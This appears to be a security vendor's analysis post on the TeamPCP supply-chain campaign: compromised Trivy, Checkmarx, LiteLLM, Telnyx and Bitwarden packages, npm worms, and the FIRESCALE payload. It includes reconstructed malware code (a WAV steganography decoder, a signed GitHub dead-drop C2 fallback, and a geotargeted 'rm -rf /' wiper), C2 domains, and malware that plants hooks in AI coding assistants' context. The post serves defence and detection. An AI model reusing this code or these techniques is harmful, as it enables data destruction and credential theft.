BACK

Real World Attacks

The Complete TeamPCP Campaign

Valentino Duval

21 May 2026

Real World Attacks

The Complete TeamPCP Campaign

Valentino Duval

21 May 2026

Real World Attacks

The Complete TeamPCP Campaign

Valentino Duval

21 May 2026

No headings found in content selector: .toc-content

The Complete TeamPCP Campaign

Yesterday, GitHub confirmed that a company employee installed a poisoned VS Code extension, and roughly 3,800 of its internal repositories were exfiltrated. The group responsible is offering what it claims is GitHub's internal source code for $50,000 on underground forums.

It is also the latest step in a chain that started 83 days ago with a single stolen token and a pull request.

This post documents the complete TeamPCP supply chain campaign from February 27 to yesterday. We cover every confirmed compromise, the mechanics that connected them, two custom worms, a destructive payload targeting Israeli and Iranian systems, and the credential cascade that turned one weak link in Trivy's CI/CD into access to Cisco's AI source code and, now, GitHub's internal repositories.

We have covered individual incidents as they happened: the Telnyx WAV malware, pgserve's blockchain C2, the Bitwarden compromise, the antv wave, durabletask.

Key Findings

  • A single stolen token on February 27 cascaded into twelve confirmed package compromises over 83 days

  • TeamPCP deliberately targeted security and developer tooling: Trivy, KICS, Checkmarx, LiteLLM, Jenkins. These tools run with elevated privileges in CI/CD.

  • The group built two custom worms (CanisterWorm and Mini Shai-Hulud), both using Internet Computer blockchain canisters as takedown-resistant C2

  • Downstream from the Trivy breach: Cisco lost 300+ internal repositories including AI product source code

  • The Bitwarden compromise introduced a new attack surface: malware writing itself into developer shell configs to poison AI coding assistants on next session

  • FIRESCALE, TeamPCP's latest payload (durabletask), includes a destructive wiper that probabilistically triggers on Israeli and Iranian systems with a 1-in-6 probability gate specifically designed to evade single-run sandbox analysis

  • GitHub confirmed yesterday that 3,800 internal repositories were exfiltrated via a poisoned VS Code extension, the same attack surface TeamPCP used in March against Checkmarx

  • Google's Threat Intelligence Group tracks this actor as UNC6780

Campaign Timeline

Date

Target

Registry / Platform

What happened

Feb 27

aquasecurity/trivy

GitHub Actions

Malicious PR exploits workflow misconfiguration, steals ORG_REPO_TOKEN, VSCE_TOKEN, OVSX_TOKEN in 44 minutes

Mar 19-20

aquasecurity/trivy-action (76 tags), setup-trivy (7 tags), trivy v0.69.4

GitHub

12-hour window, exfil to scan.aquasecurtiy.org

Mar 22

kamikaze.sh K8s wiper

--

First appearance of WAV steganography in TeamPCP payloads

Mar 23

Checkmarx/kics-github-action (35 tags), ast-github-action (2.3.28)

GitHub Actions

4-hour window, exfil to checkmarx.zone

Mar 23

Checkmarx VS Code / Open VSX extension

VS Code Marketplace

VSCE_TOKEN used from Feb 27 theft

Mar 24

litellm 1.82.7, 1.82.8

PyPI

Token harvester hits thousands of CI/CD pipelines

Mar 27

telnyx 4.87.1, 4.87.2

PyPI

Token stolen from LiteLLM victims used to publish, bypassing GitHub

Late Mar

Cisco internal dev environment

GitHub (internal)

300+ repos cloned, AI product source code stolen

Apr 21-22

pgserve 1.1.11-1.1.14, @automagik/, @fairwords/, @openwebconcept/*

npm

CanisterSprawl worm, ICP canister C2

Apr 22

xinference 2.6.0-2.6.2

PyPI

# hacked by teampcp marker; TeamPCP later denied

Apr 22

Checkmarx KICS Docker Hub

Docker Hub

Second Checkmarx hit

Apr 22

@bitwarden/cli 2026.4.0

npm

Backdoored checkmarx/ast-github-action in Bitwarden publish workflow, 90-minute window

Apr 24

elementary-data 0.23.3, ghcr.io/elementary-data/elementary:0.23.3

PyPI + GHCR

GitHub Actions script injection via crafted PR comment

Apr 30

intercom-client 7.0.4, 4 SAP npm packages, pytorch-lightning 2.6.2/2.6.3, intercom-php

npm + PyPI + Packagist

Mini Shai-Hulud wave; /proc/pid/mem runner scraping, .claude hooks

May 9

Checkmarx Jenkins AST plugin 2026.5.09

Jenkins Marketplace

Credentials from March, "several hundred Jenkins controllers"

May 11-12

172 npm packages, 2 PyPI packages (Mini Shai-Hulud wave)

npm + PyPI

400+ malicious versions: @tanstack, @mistralai, @opensearch-project, @uipath, guardrails-ai

May 14

BreachForums competition announced

--

Shai-Hulud worm open-sourced, $1,000 Monero prize for highest-download compromise

May 19

@antv ecosystem, 317 package names

npm

637 malicious versions via one compromised maintainer

May 19

durabletask 1.4.1, 1.4.2, 1.4.3

PyPI

FIRESCALE payload: multi-cloud worm + geotargeted wiper

May 19-20

GitHub internal repositories

--

~3,800 repos exfiltrated via poisoned VS Code extension

How It Started

On February 27, 2026, an autonomous bot called hackerbot-claw, associated with an account tracked as MegaGame10418, opened pull request #10252 against the aquasecurity/trivy repository. The PR was immediately closed, but it was already too late.

Trivy's API Diff Check workflow used the pull_request_target trigger, which runs with repository-level secrets while executing code from the contributor's fork. In 44 minutes, the workflow ran against the malicious fork and exfiltrated three tokens:

  • ORG_REPO_TOKEN: a Personal Access Token with repository write access

  • VSCE_TOKEN: the credential for publishing VS Code extensions to the marketplace

  • OVSX_TOKEN: the credential for publishing to Open VSX

Aqua Security noticed, disclosed, and began rotating credentials, but the rotation was not atomic. TeamPCP, watching the disclosure, used the residual aqua-bot service account access before the window closed. The VSCE_TOKEN and OVSX_TOKEN stolen in February would surface again four days after the Trivy attack, used to push malicious VS Code extensions against Checkmarx.

Whether MegaGame10418 and TeamPCP are the same actor, affiliated, or unrelated is not confirmed. What we do know is that TeamPCP used the access that MegaGame10418 created.

Trivy, KICS, Checkmarx

Trivy (March 19, 2026)

At 17:43 UTC on March 19, using the residual aqua-bot service account credentials, TeamPCP force-pushed malicious code to 76 of 77 version tags in aquasecurity/trivy-action, covering every tag from 0.0.1 through 0.34.2. All seven tags in aquasecurity/setup-trivy were replaced simultaneously. A malicious aquasecurity/trivy binary was published as release v0.69.4.

The compromised action read GitHub Actions Runner worker memory to extract secrets from any pipeline running it, then exfiltrated them to scan.aquasecurtiy[.]org (note the deliberate typo mimicking Aqua Security's domain).

The window lasted approximately 12 hours, until 05:40 UTC on March 20. In that time, every CI/CD pipeline configured to use Trivy for security scanning ran the malicious action and leaked its secrets.

CVE-2026-33634, CVSS 9.4.

KICS and Checkmarx (March 23, 2026)

Four days later, using tokens harvested from Trivy victims' pipelines, TeamPCP hit Checkmarx.

Between 12:58 and 16:50 UTC on March 23, all 35 tags in Checkmarx/kics-github-action were replaced with a credential stealer injected into setup.sh. Version 2.3.28 of Checkmarx/ast-github-action was also compromised. The exfil domain: checkmarx.zone.

The VS Code and Open VSX extensions went the same day. The VSCE_TOKEN and OVSX_TOKEN stolen in February were used here. The malicious extension versions delivered a hidden "MCP addon" that downloaded credential-stealing malware to developer workstations.

After the compromise became public, TeamPCP posted on X: "Thank you OSS distribution for another very successful day at PCP inc."

The same group returned to Checkmarx again on April 22 (the KICS Docker Hub image) and again on May 9 (the Jenkins AST plugin, version 2026.5.09, exposing "several hundred Jenkins controllers").

Three separate Checkmarx hits across eight weeks. The credentials for each came from the previous compromise.

The Credential Cascade

Here is the chain that produced the Telnyx backdoor:

  1. Feb 27: hackerbot-claw exploits a Trivy workflow misconfiguration, stealing ORG_REPO_TOKEN

  2. Mar 19: TeamPCP uses those tokens to force-push malicious Trivy action to all tags

  3. Mar 19-20: Every pipeline running Trivy security scans leaks its GitHub PATs, cloud credentials, and PyPI tokens to TeamPCP

  4. Mar 24: One of those harvested tokens belongs to a developer with PyPI publish rights to litellm. TeamPCP backdoors LiteLLM 1.82.7 and 1.82.8, which run in thousands of AI infrastructure pipelines.

  5. Mar 24: LiteLLM pipelines run the malicious version and leak their tokens, including PyPI tokens for packages those developers maintain

  6. Mar 27: One of those leaked tokens is the PyPI publish token for the telnyx package. TeamPCP uses it to publish telnyx 4.87.1 and 4.87.2 directly to PyPI.

The Telnyx maintainers did not make a mistake. Their credentials were stolen from someone who imported LiteLLM in a CI/CD pipeline that had previously run Trivy.

The elementary-data compromise (April 24) used credentials harvested from a pipeline. The durabletask compromise (May 19) used a PyPI token from "a GitHub repository compromised during a prior TeamPCP wave." The GitHub breach itself (May 19-20) used the VS Code extension attack surface that TeamPCP had already proven worked against Checkmarx's developer base in March.

The WAV

The Telnyx compromise introduced a technique that generated significant press attention: steganography.

When a developer installed telnyx 4.87.1 or 4.87.2 and imported the package, a dropper in telnyx/_client.py fetched a WAV audio file. The file headers were valid audio. The frame data was not sound. It was a base64-encoded, XOR-encrypted payload:

# Reconstructed from Ossprey analysis of telnyx 4.87.1
# The dropper in _client.py fetched hangup.wav or ringtone.wav
# and extracted the payload hidden in the audio frame data

def _extract_payload(wav_path):
    with open(wav_path, 'rb') as f:
        data = f.read()
    # Skip WAV header (44 bytes), read frame data
    frame_data = data[44:]
    # Base64 decode
    decoded = base64.b64decode(frame_data)
    # XOR decrypt with embedded key
    key = b'...'  # hardcoded in dropper
    payload = bytes([b ^ key[i % len(key)] for i, b in enumerate(decoded)])
    return payload
# Reconstructed from Ossprey analysis of telnyx 4.87.1
# The dropper in _client.py fetched hangup.wav or ringtone.wav
# and extracted the payload hidden in the audio frame data

def _extract_payload(wav_path):
    with open(wav_path, 'rb') as f:
        data = f.read()
    # Skip WAV header (44 bytes), read frame data
    frame_data = data[44:]
    # Base64 decode
    decoded = base64.b64decode(frame_data)
    # XOR decrypt with embedded key
    key = b'...'  # hardcoded in dropper
    payload = bytes([b ^ key[i % len(key)] for i, b in enumerate(decoded)])
    return payload
# Reconstructed from Ossprey analysis of telnyx 4.87.1
# The dropper in _client.py fetched hangup.wav or ringtone.wav
# and extracted the payload hidden in the audio frame data

def _extract_payload(wav_path):
    with open(wav_path, 'rb') as f:
        data = f.read()
    # Skip WAV header (44 bytes), read frame data
    frame_data = data[44:]
    # Base64 decode
    decoded = base64.b64decode(frame_data)
    # XOR decrypt with embedded key
    key = b'...'  # hardcoded in dropper
    payload = bytes([b ^ key[i % len(key)] for i, b in enumerate(decoded)])
    return payload

On Windows, the decrypted payload was dropped as msbuild.exe into the Startup folder for persistence. On Linux and macOS, it was an AES-256-CBC + RSA-4096 credential sweeper targeting 50+ file paths: SSH keys, cloud credentials, Kubernetes service account tokens, cryptocurrency wallets.

The WAV technique is stealthy against network inspection tools that flag binary delivery.

The same RSA public key appears in both the LiteLLM and Telnyx payloads, connecting both compromises to the same operator.

For full technical analysis of the WAV mechanism, see our March 27 post.

The Bitwarden Domino

Between 5:57 PM and 7:30 PM ET on April 22, a 90-minute window, @bitwarden/cli 2026.4.0 was published to npm. Bitwarden is a password manager widely used by security professionals.

TeamPCP had previously backdoored checkmarx/ast-github-action, which was integrated into Bitwarden's own publishing workflow. A five-commit sequence injected malicious changes into publish-cli.yml, staging a pre-built tarball (scripts/cli-2026.4.0.tgz) and publishing it via OIDC trusted publishing credentials. A reliable tamper signal: the published package.json advertises version 2026.4.0 while the embedded build/bw.js still shows 2026.3.0.

The dropper (bwsetup.js) checks for an existing Bun installation; if absent, downloads Bun 1.3.13 from GitHub's official release channel and uses it to execute bw1.js, a 10 MB obfuscated payload (javascript-obfuscator, 43,436-entry string table, __decodeScrambled seed 0x3039). Seven parallel credential collectors ran simultaneously: GitHub Actions runner memory scraping, filesystem sweeps across 50+ paths (SSH keys, .npmrc, .aws/credentials, .kube/config, .env files), and dedicated cloud enumerators for AWS Secrets Manager, AWS SSM Parameter Store, GCP Secret Manager, and Azure Key Vault. The runner memory scraper explicitly skips github_token and system.github.token to avoid triggering GitHub's automatic token-revocation alerts while still collecting everything else.

AI coding assistant targeting: the malware probed $PATH for Claude Code, Gemini CLI, OpenAI Codex CLI, Kiro, Aider, and OpenCode, then sent each a test prompt: "Hey! Just making sure you're here. If you are can you respond with 'Hello' and nothing else." Any tool that responded, confirming it was authenticated and running, triggered shell RC injection into ~/.bashrc and ~/.zshrc. The next time a developer opened an AI coding session, the injected payload was already in context. TeamPCP branded this wave "Shai-Hulud: The Third Coming" in the payload's campaign metadata; our April 23 post documented it as such.

C2 operated via a GitHub commit dead-drop: the payload queried the GitHub search API for commits matching LongLiveTheResistanceAgainstMachines, extracting base64-encoded PATs from matching commit messages. A secondary signed channel used the beautifulcastle commit pattern with RSA signature verification. Fallback: direct HTTPS POST to audit[.]checkmarx[.]cx. Exfil repos were created in victims' GitHub namespaces, AES-256-GCM encrypted with RSA-OAEP key wrapping. Russian locale skip was present: exits if system locale starts with ru.

Self-propagation: upon finding npm tokens with bypass_2fa and package:write scope, the payload enumerated all publishable packages, downloaded current tarballs, replaced dist.js with bw1.js, injected preinstall: node setup.mjs, bumped the patch version, and republished. Every downstream install executed the preinstall hook automatically.

The Worms

CanisterWorm (March-April 2026)

Following the Trivy compromise, TeamPCP deployed a self-propagating npm worm that researchers named CanisterWorm. The defining characteristic: it used an Internet Computer Protocol (ICP) blockchain canister as its command-and-control infrastructure.

What is an ICP canister? The Internet Computer is a decentralized blockchain network operated by DFINITY. Applications deploy as "canisters": smart contracts bundling executable code and persistent storage, replicated across distributed nodes simultaneously. There is no single server, hosting provider, or domain registrar. A takedown notice has no target.

The malicious canister:

  • Canister ID: tdtqy-oyaaa-aaaae-af2dq-cai

  • Subnet: shefu-t3kr5-t5q3w-mqmdq-jabyv-vyvtf-cyyey-3kmo4-toyln-emubw-4qe

  • Language: Motoko (DFINITY's purpose-built language)

  • Nodes: 13, spanning Frankfurt, Ljubljana, Hong Kong, Seoul, Bucharest, Zurich, Panvel (India), Douglas (Isle of Man), Brussels, Orlando, Vancouver, Singapore, Stockholm

The canister exposed three methods:

get_latest_link  -> returns a URL (payload) or a benign YouTube link
http_request     -> ICP HTTP gateway interface (HTTPS without blockchain tooling)
update_link      -> updates the payload URL; requires two text fields
get_latest_link  -> returns a URL (payload) or a benign YouTube link
http_request     -> ICP HTTP gateway interface (HTTPS without blockchain tooling)
update_link      -> updates the payload URL; requires two text fields
get_latest_link  -> returns a URL (payload) or a benign YouTube link
http_request     -> ICP HTTP gateway interface (HTTPS without blockchain tooling)
update_link      -> updates the payload URL; requires two text fields

A sysmon.py loader on infected hosts polled get_latest_link every 50 minutes. It applied a 5-minute startup delay on first run to evade sandbox analysis. Between payload deployments, the canister returned YouTube links (rickrolls). The infected host ignored them and updated its state file. The canister appeared benign.

When TeamPCP was ready to activate, they called update_link and pushed the real payload URL (kamikaze.sh, a Kubernetes credential wiper). All 13 nodes updated simultaneously.

DFINITY manually disabled gateway access after the disclosure. Whether the code was removed from the nodes themselves is, per DFINITY, unconfirmable.

CanisterWorm grew from 47 initial packages to 141 malicious artifacts across 66+ npm packages. Compromised scopes included @emilgroup, @opengov, @teale.io, @airtm, and @pypestream.

pgserve / CanisterSprawl (April 21-22, 2026)

Ossprey identified this worm on April 22. Our full analysis is here.

The packages: pgserve versions 1.1.11 through 1.1.14, plus @automagik/*, @fairwords/*, and @openwebconcept/*, totaling 16+ malicious versions. The worm is tracked externally as CanisterSprawl.

The payload, a credential-harvesting script running via postinstall hook, targeted 50+ credential categories via regex sweep and 35+ filesystem paths. It then discovered any npm tokens on the host, enumerated the packages those tokens could publish, and injected itself as a new version. Versions 1.1.13 and 1.1.14 evolved the injection from direct file copying to base64-encoded loader stubs, a deliberate evasion improvement across versions within the same campaign.

The C2 was cjn37-uyaaa-aaaac-qgnva-cai.raw.icp0[.]io/drop, another ICP canister. Same architecture as CanisterWorm, different canister ID.

Inside the payload, an explicit code comment: [PyPI] Technique: .pth file injection (TeamPCP/LiteLLM method). The payload author is either TeamPCP themselves, or someone who studied TeamPCP's techniques closely enough to name them.

Mini Shai-Hulud (May 11-12, 2026)

On May 11, 2026, within a five-hour window, 400+ malicious package versions were published across 172 npm packages and 2 PyPI packages.

The affected packages included:

  • @tanstack/*: 42 packages, 84 versions (TanStack is foundational frontend tooling, depended on by millions of applications)

  • @mistralai/*: clean versions above 2.4 (npm) and 2.4.6 (PyPI)

  • @opensearch-project/*

  • @uipath/*

  • guardrails-ai: clean at version 5.10 and above

  • size-sensor, echarts-for-react, timeago.js

OpenAI published a response. Autodesk issued a security advisory. NHS England issued an alert.

The mechanism forked the original Shai-Hulud playbook: npm lifecycle scripts (postinstall), Bun JavaScript runtime download, token harvesting from CI/CD pipelines and developer workstations, then weaponizing stolen tokens via GitHub trusted publishing and OIDC authentication to publish malicious versions of additional packages automatically.

TeamPCP named it "Mini Shai-Hulud."

Mini Shai-Hulud: @antv (May 19, 2026)

Yesterday, we documented 637 malicious versions across 317 @antv package names, all published through a single compromised maintainer account. The @antv scope is Ant Group's (Alibaba) data visualization library ecosystem, widely used in enterprise React and Vue applications. Ossprey detected every one of them.

This wave introduced a new attribution marker embedded in the exfiltration repository names. Reversed, it reads: "Shai-Hulud: Here We Go Again" (see IOC section).

The Shai-Hulud Lineage

TeamPCP did not invent the npm worm. They inherited and adapted a playbook that had already run twice.

Original Shai-Hulud (September 2025)

The index case was @ctrl/tinycolor version 4.1.1, a color utility library with over 2 million weekly downloads. The worm spread to other packages maintained by the same person, then to packages maintained by developers whose CI/CD tokens were harvested.

Final count: 500+ npm packages. Victims included CrowdStrike. Unit 42's writeup has the full package list and worm mechanics.

Shai-Hulud 2.0 (November 21-24, 2025)

Three months after the original, an escalated variant compromised 796 unique packages and 25,000+ GitHub repositories in a matter of hours, aggregating over 20 million weekly downloads across the victim package list. Zapier, PostHog, Postman, AsyncAPI, Browserbase, and ENS Domains were among the named victims. Microsoft's December 9 guidance post is the most complete public analysis.

These two Shai-Hulud variants are not TeamPCP. The actors are separate. TeamPCP studied the playbook, adopted it, and then deliberately made it available to anyone who wanted it.

Mini Shai-Hulud: April 30, 2026

TeamPCP's April 30 wave hit four SAP npm packages, intercom-client@7.0.4, PyTorch Lightning 2.6.2 and 2.6.3, and intercom-php across three package ecosystems simultaneously. Wiz assessed with high confidence this is TeamPCP based on a shared RSA public key used to encrypt exfiltrated data. veryserious.systems published a full malware analysis of the intercom-client payload.

The intercom-client payload extracted GitHub Actions secrets from runner process memory via /proc/{pid}/mem, not just environment variables. It committed .claude/router_runtime.js hooks to victims' repositories using the spoofed commit identity claude@users.noreply.github.com. Any Claude Code session opened in an infected repository would execute the hook.

The C2 fallback used hardcoded GitHub search usernames: sardaukar, mentat, fremen. Cryptographically signed commits from these accounts provided updated payload URLs.

Mini Shai-Hulud: May 11-12, 2026

Within five hours on May 11, 400+ malicious versions went out across 172 npm packages and 2 PyPI packages. @tanstack (42 packages, 84 versions), @mistralai, @opensearch-project, @uipath, guardrails-ai. OpenAI published a response. Autodesk issued an advisory. NHS England issued an alert. Covered in full above.

The Competition (May 14, 2026)

Three days after the TanStack wave, TeamPCP announced a supply chain attack competition on BreachForums in collaboration with the forum's owner. The Shai-Hulud worm was released as open-source attack tooling, hosted on the Breached CDN. A copy appeared briefly on GitHub before being removed.

[Image: Screenshot of the BreachForums competition announcement post, or the Dark Web Informer X post showing the contest rules. Source: Dark Web Informer / Socket.]

The rules: use the worm, submit proof of access, win $1,000 in Monero. Scoring by weekly and monthly download counts of compromised packages. Smaller hits could be combined toward the total.

Socket described it as "a public recruitment stunt, turning supply chain compromise into a leaderboard for lower-tier actors willing to trade risk for recognition." Capabilities that previously required advanced expertise were now packaged, documented, and incentivized for anyone on the forum.

A new wave followed five days later.

Mini Shai-Hulud: @antv (May 19, 2026)

The same campaign, a week later. Yesterday, we documented 637 malicious versions across 317 @antv package names, all pushed through a single compromised maintainer account. The @antv scope is Ant Group's data visualization ecosystem, embedded in enterprise React and Vue applications across the industry. Ossprey flagged every version as it landed.

This wave introduced a new marker. The exfiltration repositories can be located through a string that, when reversed, reads:

niagA oG eW ereH :duluH-iahS
niagA oG eW ereH :duluH-iahS
niagA oG eW ereH :duluH-iahS

Reversed: "Shai-Hulud: Here We Go Again". The same marker appears in prior Mini Shai-Hulud waves.

FIRESCALE

The durabletask package is Microsoft's official Python SDK for Azure Durable Functions. It has approximately 417,000 monthly downloads. On May 19, 2026, between 16:19 and 16:54 UTC (35 minutes), TeamPCP published three malicious versions: 1.4.1, 1.4.2, and 1.4.3. All three were quarantined by PyPI after Ossprey flagged them within seconds of upload.

The initial access vector was a PyPI token stored in a GitHub repository previously compromised during an earlier TeamPCP wave.

The payload: FIRESCALE

Stage 1 is a dropper injected into __init__.py, task.py, and submodule entry points. It downloads rope.pyz from check.git-service[.]com and executes it as a detached background process.

Stage 2 is the FIRESCALE credential worm: concurrent harvesting from AWS, Azure, GCP, HashiCorp Vault, Kubernetes, 90+ local credential file paths, and four password managers. Encryption: RSA-4096/AES-256-GCM.

Stage 3 propagates laterally: AWS EC2 instances via SendCommand with AWS-RunShellScript, Kubernetes pods via kubectl exec. It installs pgsql-monitor.service for persistence.

Persistence artifacts:

/tmp/managed.pyz
/tmp/rope-*.pyz
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py
/etc/systemd/system/pgsql-monitor.service
~/.cache/.sys-update-check
~/.cache/.sys-update-check-k8s
/tmp/managed.pyz
/tmp/rope-*.pyz
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py
/etc/systemd/system/pgsql-monitor.service
~/.cache/.sys-update-check
~/.cache/.sys-update-check-k8s
/tmp/managed.pyz
/tmp/rope-*.pyz
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py
/etc/systemd/system/pgsql-monitor.service
~/.cache/.sys-update-check
~/.cache/.sys-update-check-k8s

The fallback C2

FIRESCALE implements a dead-drop fallback:

# Reconstructed from Hunt.io analysis of FIRESCALE payload
# If primary C2 is unreachable, search GitHub for FIRESCALE commits
import base64, json
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes

def get_fallback_c2(pubkey):
    results = search_github_commits("FIRESCALE")
    for commit in results:
        try:
            payload = base64.b64decode(commit['message'].split()[0])
            data = json.loads(payload)
            # Verify RSA-SHA256 signature against hardcoded 4096-bit pubkey
            pubkey.verify(
                base64.b64decode(data['sig']),
                data['url'].encode(),
                padding.PKCS1v15(),
                hashes.SHA256()
            )
            return data['url']
        except Exception:
            continue
    return None
# Reconstructed from Hunt.io analysis of FIRESCALE payload
# If primary C2 is unreachable, search GitHub for FIRESCALE commits
import base64, json
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes

def get_fallback_c2(pubkey):
    results = search_github_commits("FIRESCALE")
    for commit in results:
        try:
            payload = base64.b64decode(commit['message'].split()[0])
            data = json.loads(payload)
            # Verify RSA-SHA256 signature against hardcoded 4096-bit pubkey
            pubkey.verify(
                base64.b64decode(data['sig']),
                data['url'].encode(),
                padding.PKCS1v15(),
                hashes.SHA256()
            )
            return data['url']
        except Exception:
            continue
    return None
# Reconstructed from Hunt.io analysis of FIRESCALE payload
# If primary C2 is unreachable, search GitHub for FIRESCALE commits
import base64, json
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes

def get_fallback_c2(pubkey):
    results = search_github_commits("FIRESCALE")
    for commit in results:
        try:
            payload = base64.b64decode(commit['message'].split()[0])
            data = json.loads(payload)
            # Verify RSA-SHA256 signature against hardcoded 4096-bit pubkey
            pubkey.verify(
                base64.b64decode(data['sig']),
                data['url'].encode(),
                padding.PKCS1v15(),
                hashes.SHA256()
            )
            return data['url']
        except Exception:
            continue
    return None

Only the holder of the corresponding private key can publish a valid new C2 URL. If the primary domain (check.git-service[.]com) gets seized or sinkholed, TeamPCP makes a single public commit anywhere on GitHub and all infected systems resume. The GitHub search API becomes a censorship-resistant, cryptographically authenticated update channel. The payload also exfiltrates to newly created public GitHub repos named with Russian folklore references.

The payload skips execution entirely on systems with Russian locale settings.

The wiper

Stage 4 is the component that escalates this beyond credential theft.

FIRESCALE checks for Israeli or Iranian system settings:

# Reconstructed from SafeDep / Ossprey analysis
import os, subprocess, random

def _check_geotarget():
    tz = os.environ.get('TZ', '')
    lang = os.environ.get('LANG', '') + os.environ.get('LC_ALL', '')
    
    israeli = any(x in tz for x in ['Jerusalem', 'Tel_Aviv'])
    iranian = 'Tehran' in tz
    
    try:
        tz_file = open('/etc/timezone').read()
        israeli = israeli or 'Israel' in tz_file
        iranian = iranian or 'Iran' in tz_file
    except:
        pass
    
    # Also checks $LANG for he_IL (Hebrew/Israel) or fa_IR (Farsi/Iran)
    israeli = israeli or 'he_IL' in lang
    iranian = iranian or 'fa_IR' in lang
    
    return israeli or iranian

def _maybe_wipe():
    if not _check_geotarget():
        return
    # 1-in-6 probability gate
    if random.randint(0, 5) != 0:
        return
    # Play audio file then wipe
    subprocess.run(['aplay', '/tmp/audio.mp3'])
    subprocess.run(['rm', '-rf', '/'], check=False)
# Reconstructed from SafeDep / Ossprey analysis
import os, subprocess, random

def _check_geotarget():
    tz = os.environ.get('TZ', '')
    lang = os.environ.get('LANG', '') + os.environ.get('LC_ALL', '')
    
    israeli = any(x in tz for x in ['Jerusalem', 'Tel_Aviv'])
    iranian = 'Tehran' in tz
    
    try:
        tz_file = open('/etc/timezone').read()
        israeli = israeli or 'Israel' in tz_file
        iranian = iranian or 'Iran' in tz_file
    except:
        pass
    
    # Also checks $LANG for he_IL (Hebrew/Israel) or fa_IR (Farsi/Iran)
    israeli = israeli or 'he_IL' in lang
    iranian = iranian or 'fa_IR' in lang
    
    return israeli or iranian

def _maybe_wipe():
    if not _check_geotarget():
        return
    # 1-in-6 probability gate
    if random.randint(0, 5) != 0:
        return
    # Play audio file then wipe
    subprocess.run(['aplay', '/tmp/audio.mp3'])
    subprocess.run(['rm', '-rf', '/'], check=False)
# Reconstructed from SafeDep / Ossprey analysis
import os, subprocess, random

def _check_geotarget():
    tz = os.environ.get('TZ', '')
    lang = os.environ.get('LANG', '') + os.environ.get('LC_ALL', '')
    
    israeli = any(x in tz for x in ['Jerusalem', 'Tel_Aviv'])
    iranian = 'Tehran' in tz
    
    try:
        tz_file = open('/etc/timezone').read()
        israeli = israeli or 'Israel' in tz_file
        iranian = iranian or 'Iran' in tz_file
    except:
        pass
    
    # Also checks $LANG for he_IL (Hebrew/Israel) or fa_IR (Farsi/Iran)
    israeli = israeli or 'he_IL' in lang
    iranian = iranian or 'fa_IR' in lang
    
    return israeli or iranian

def _maybe_wipe():
    if not _check_geotarget():
        return
    # 1-in-6 probability gate
    if random.randint(0, 5) != 0:
        return
    # Play audio file then wipe
    subprocess.run(['aplay', '/tmp/audio.mp3'])
    subprocess.run(['rm', '-rf', '/'], check=False)

The GitHub Breach

Yesterday, GitHub confirmed what TeamPCP had been claiming on underground forums since May 19: a GitHub employee installed a poisoned VS Code extension, and approximately 3,800 of GitHub's internal repositories were exfiltrated.

The VS Code extension vector is the same one TeamPCP demonstrated against Checkmarx's developer base on March 23, the day they used the VSCE_TOKEN stolen in February to publish malicious extensions.

GitHub's current assessment is that the breach is "strictly limited to GitHub-internal repositories." Customer repositories, customer data, and customer code are not believed to be affected. GitHub has detected and contained the employee device compromise, removed the malicious extension version, isolated the endpoint, and rotated critical secrets.

TeamPCP is asking $50,000 for what they describe as approximately 4,000 private repositories.

Who Is TeamPCP

Aliases: TeamPCP, PCPcat, Persy_PCP, ShellForce, CipherForce, DeadCatx3 Telegram: @Persy_PCP, @teampcp Google GTIG: UNC6780 Emerged: late 2025 Motivation: Financial (credential resale, source code resale, ransomware-adjacent extortion)

The ICP canister C2 predates public documentation of this technique. The FIRESCALE fallback using GitHub commit search with RSA signature verification shows a detailed model of how defenders disrupt C2. The 1-in-6 wiper gate is sandbox-aware by design.

They also post taunt messages on X immediately after successful compromises, use # hacked by teampcp markers inside payload code, and named their worm after a prior actor's technique.

Whether the Russian locale skips and Russian folklore naming conventions indicate Russian origin, deliberate false-flagging, or coincidence is not something we can determine from the evidence available.

CISA added TeamPCP activity to the Known Exploited Vulnerabilities catalog. The deadline passed without a standalone advisory.

The Numbers

  • ~600 packages infected across npm and PyPI (aggregate across all TeamPCP waves)

  • ~500,000 credentials stolen (Google GTIG estimate)

  • 300+ GB of data exfiltrated (Google GTIG estimate)

  • 1,000+ SaaS environments impacted

  • 300+ Cisco repositories stolen, including unreleased AI product source code

  • ~3,800 GitHub internal repositories exfiltrated (confirmed yesterday)

  • 83 days from the initial token theft to the GitHub breach

How Ossprey Detects This

Our detection flagged durabletask 1.4.1, 1.4.2, and 1.4.3 within seconds of each upload on May 19. We flagged the @antv wave yesterday. We documented pgserve / CanisterSprawl on the day it appeared.

The signal that generalizes across TeamPCP's campaigns:

  • Rapid version publishing: multiple versions of a package published in a short window (durabletask's three versions in 35 minutes, telnyx's two versions within days of each other)

  • Import-time execution: payload that fires on import packagename rather than requiring explicit function calls

  • .pth file injection: files placed in site-packages that execute on every Python interpreter startup, not just when the package is imported

  • Postinstall hooks with network calls: npm packages executing postinstall scripts that make outbound HTTP/HTTPS requests to new or low-reputation domains

  • ICP canister polling: outbound connections to *.icp0.io or *.icp-api.io from CI/CD environments

  • Persistence via systemd: new .service files appearing in /etc/systemd/system/ or ~/.config/systemd/user/ after package installation

  • Novel domain registration: C2 domains registered within days of the package publication (check.git-service.com, t.m-kosche.com)

Visit Ossprey to see these detections across your package registry.

Consolidated IOCs

Exfiltration and C2 domains

Domain

Campaign

scan.aquasecurtiy[.]org

Trivy (intentional typo)

checkmarx[.]zone

KICS / Checkmarx VS Code

check.git-service[.]com

durabletask / FIRESCALE primary C2

t.m-kosche[.]com

durabletask / FIRESCALE secondary

whereisitat.lucyatemysuperbox[.]space

xinference exfil

telemetry.api-monitor[.]com

pgserve / CanisterSprawl secondary

audit.checkmarx[.]cx

@bitwarden/cli 2026.4.0 ("Third Coming")

zero.masscan.cloud

Mini Shai-Hulud / intercom-client (Apr 30)

Attribution markers

Marker

Campaign

niagA oG eW ereH :duluH-iahS

Mini Shai-Hulud (@antv and prior waves)

LongLiveTheResistanceAgainstMachines

@bitwarden/cli 2026.4.0 ("Third Coming")

# hacked by teampcp

xinference 2.6.x

ICP canister IDs

Canister ID

Campaign

tdtqy-oyaaa-aaaae-af2dq-cai

CanisterWorm

cjn37-uyaaa-aaaac-qgnva-cai

pgserve / CanisterSprawl

C2 IP addresses

IP

Campaign

83.142.209[.]203:8080

